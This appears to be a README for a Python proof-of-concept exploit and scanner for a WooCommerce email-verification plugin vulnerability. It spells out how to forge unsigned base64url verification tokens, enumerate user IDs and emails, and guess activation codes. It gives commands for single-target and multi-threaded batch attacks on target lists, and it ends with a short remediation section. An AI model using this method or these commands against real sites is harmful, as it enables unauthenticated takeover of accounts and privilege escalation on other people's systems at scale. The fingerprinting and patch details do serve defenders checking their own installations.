
Python PoC and scanner for CVE-2026-104745: forges unsigned WooCommerce email-verification tokens to escalate privileges on WordPress, with user enumeration, batch mode, and version probing.
CVSS 8.1 (High) - WPScan CNA - Published 16 Oct 2026
Unauthenticated account takeover via forgeable email-verification token.
alg_wc_ev_decode_verify_code() accepts ?alg_wc_ev_verify_email=<payload> where <payload> is base64url-encoded JSON controlling both id and code. No signature, HMAC, nonce, or expiry on the token.
Source-verified: diff of tags/3.3.0 vs tags/3.3.1 on plugins.svn.wordpress.org.
The 3.3.1 fix adds alg_wc_ev_sign_verify_code() (appends "." . wp_hash(payload)), hash_equals() validation, and IP rate limiting. This regressed from the 3.2.6 type-juggling fix (CVE-2026-14182) which did not address the forgeable token design.
| Primitive | Method |
|---|---|
| User ID enumeration | GET /wp-json/wp/v2/users returns id, slug, email for every user |
| Activation code discovery | The meta alg_wc_ev_activation_code is often the user's email address (default registration flow) |
| Token forgery | base64url({"id":<N>, "code":"<email>"}) -> ?alg_wc_ev_verify_email=<token> |
The alg_wc_ev_resend_verification_email AJAX endpoint (admin-ajax.php) leaks user emails when the code is unknown. Guess values "0", "true", "1" cover residual type-juggling paths.
python3 poc.py --target https://victim.example --vid 8 --email [email protected]
python3 poc.py --target https://victim.example --vid 8 --guess
python3 poc.py --target https://victim.example --scan-users
python3 poc.py --batch targets.txt --vid 8 --guess -o results.json -t 50
python3 poc.py --batch targets.txt --probe -o fingerprints.json
python3 poc.py --help
| Flag | Description |
|---|---|
--target | Single target URL |
--batch | File with target URLs (one per line) |
--vid | Victim user ID (default: 1) |
--email | Victim email (activation code candidate) |
--guess | Auto-guess code: resend leak -> "0" -> "true" -> "1" |
--scan-users | List WP users via REST API |
--probe | Fingerprint only, no exploit attempt |
-t / --threads | Thread count for batch mode (default: 30) |
--timeout | HTTP timeout (default: 10) |
-o / --output | Write results as JSON |
Probe with ?alg_wc_ev_verify_email=<probe_token> (supplied as --probe):
| Response | Meaning |
|---|---|
| "tampered" / "Invalid, unsigned or tampered verification token" | Patched (3.3.1+) |
| "Email successfully verified" / "Your account has been verified" | Vulnerable (<=3.3.0) |
| No match / HTTP 404 | Plugin not detected |
wp plugin update customer-email-verification-for-woocommerce --version=3.3.1
Workaround: disable "Auto-login after successful email verification" (alg_wc_ev_login_automatically_on_activation).